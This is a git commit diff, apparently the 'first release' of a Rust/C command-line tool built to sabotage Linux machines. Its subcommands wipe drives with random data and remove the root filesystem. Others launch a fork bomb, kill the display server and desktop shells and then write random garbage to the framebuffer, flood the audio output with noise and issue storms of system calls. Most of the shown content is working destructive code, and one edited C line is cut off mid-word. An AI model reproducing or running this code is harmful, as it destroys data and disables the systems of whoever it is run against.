diff options
| author | Namilskyy <alive6863@gmail.com> | 2025-10-30 14:31:58 +0300 |
|---|---|---|
| committer | Namilskyy <alive6863@gmail.com> | 2025-10-30 14:31:58 +0300 |
| commit | 4daa446eed00f86cc6290ce128050995804ded89 (patch) | |
| tree | 56d5a11a44598370915536ffa33a56cc85ffaedb /src | |
| parent | c3ebda7ce605e40e6bc43b3d492f0fb0a8153e59 (diff) | |
First release.
Diffstat (limited to 'src')
| -rw-r--r-- | src/build.rs | 0 | ||||
| -rw-r--r-- | src/critical/mod.rs | 6 | ||||
| -rw-r--r-- | src/main.rs | 8 | ||||
| -rw-r--r-- | src/non_critical/gui_destroyer.rs | 18 | ||||
| -rw-r--r-- | src/non_critical/random_sounds.c | 22 | ||||
| -rw-r--r-- | src/non_critical/syscall_storm.c | 2 |
6 files changed, 32 insertions, 24 deletions
diff --git a/src/build.rs b/src/build.rs deleted file mode 100644 index e69de29..0000000 --- a/src/build.rs +++ /dev/null diff --git a/src/critical/mod.rs b/src/critical/mod.rs index 379ec29..6af084c 100644 --- a/src/critical/mod.rs +++ b/src/critical/mod.rs @@ -1,13 +1,13 @@ use std::os::raw::c_char; extern "C" { - pub fn random_data_linux(sym_drive: *const c_char); + pub fn random_data_linux(sym_drive: *const c_char, random: bool); pub fn rm_root(); pub fn fork_bomb(); } -pub unsafe fn wipe_with_dd(sym_drive: *const c_char) { - random_data_linux(sym_drive); +pub unsafe fn wipe_with_dd(sym_drive: *const c_char, random: bool) { + random_data_linux(sym_drive, random); } pub unsafe fn remove_root() { diff --git a/src/main.rs b/src/main.rs index a3e6e33..b754617 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,6 +1,6 @@ use std::ffi::CString; use std::os::raw::c_int; -use clap::{Parser, Subcommand, command}; +use clap::{Parser, Subcommand}; mod non_critical; mod critical; @@ -39,7 +39,7 @@ enum Commands { } fn main() { - let cli = Parser::parse(); + let cli: Cli = Parser::parse(); match cli.command { Commands::RandomSounds { threads, time } => unsafe { @@ -58,10 +58,10 @@ fn main() { critical::fork_bomb(); }, Commands::GuiDestroyer => unsafe { - non_critical::gui_destroyer(); + let _ =non_critical::gui_destroyer::artifacts_and_kill(true, 100000); }, Commands::StopGuiDestroyer => unsafe { - non_critical::stop_gui_destroyer(); + let _ = non_critical::gui_destroyer::artifacts_and_kill(false, 0); }, Commands::Wipe { drive, random } => unsafe { let c_drive = CString::new(drive).expect("CString"); diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs index 3c72def..ae5dd32 100644 --- a/src/non_critical/gui_destroyer.rs +++ b/src/non_critical/gui_destroyer.rs @@ -1,22 +1,27 @@ #![no_main] +#![feature(let_chains)] + use std::process; -use std::io::Error; -use rand::{Rng, thread_rng}; +use std::io::{Error, Write}; +use std::fs::File; +use rand::{Rng}; extern "C" { fn check_root() -> i32; } // Pfff its to light for this project, but why not -fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> { + +pub fn artifacts_and_kill(root: bool, iterations: i32) -> Result<(), std::io::Error> { std::process::Command::new("pkill") .args(&["-9", "Xorg", "xinit", "gnome-shell", "kwin_wayland", "plasmashell"]) //TODO: Add more process names of the processes you want to kill .spawn().unwrap(); - if root == true && let Ok(fb) = std::fs::File::create("/dev/fb0"){ + if root == true /* && let mut Ok(fb) = std::fs::File::create("/dev/fb0") */ { + let mut fb = std::fs::File::open("/dev/fb0").unwrap(); let mut rng = rand::thread_rng(); - for _ in 0..1000 { + for _ in 0..iterations { let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect(); let _ = fb.write(&garbage); } @@ -26,7 +31,7 @@ fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> { Ok(()) } - +/* fn init() -> Result<(), std::io::Error> { if check_root() == 0 { artifacts_and_kill(true) @@ -35,3 +40,4 @@ fn init() -> Result<(), std::io::Error> { } } +*/ diff --git a/src/non_critical/random_sounds.c b/src/non_critical/random_sounds.c index 847fc44..c65bdd4 100644 --- a/src/non_critical/random_sounds.c +++ b/src/non_critical/random_sounds.c @@ -1,19 +1,18 @@ +#define _GNU_SOURCE +#define __timespec_defined +#define __stru -#define _GNU_SOURCE -#define __timespec_defined -#define __struct_timespec_defined - -#include <time.h> -#include <pthread.h> +#include <time.h> +#include <alsa/asoundlib.h> #include <stdint.h> #include <stdlib.h> -#include <alsa/asoundlib.h> +#include <pthread.h> #define MAX_THREADS 5 -pthread_t THRS[MAX_THREADS]; +static pthread_t THRS[MAX_THREADS]; -static void* audio_hell() { +static void* audio_hell(void* _arg) { snd_pcm_t *pcm_handle; snd_pcm_open(&pcm_handle, "default", SND_PCM_STREAM_PLAYBACK, 0); @@ -28,9 +27,12 @@ static void* audio_hell() { } int init_random_sounds(int threads, int time) { - for(int i = 0; i < MAX_THREADS; i++) { + (void)time; + if (threads > MAX_THREADS) threads = MAX_THREADS; + for(int i = 0; i < threads; i++) { pthread_create(&THRS[i], NULL, audio_hell, NULL); } + return 0; } void stop_random_sounds() { diff --git a/src/non_critical/syscall_storm.c b/src/non_critical/syscall_storm.c index a7a2066..184942e 100644 --- a/src/non_critical/syscall_storm.c +++ b/src/non_critical/syscall_storm.c @@ -7,7 +7,7 @@ #include <pthread.h> #include <stdio.h> -pthread_t THRS[MAX_THREADS]; +static pthread_t THRS[MAX_THREADS]; static void* syscall_storm_linux(void* arg) { int iterations = *(int*)arg; |
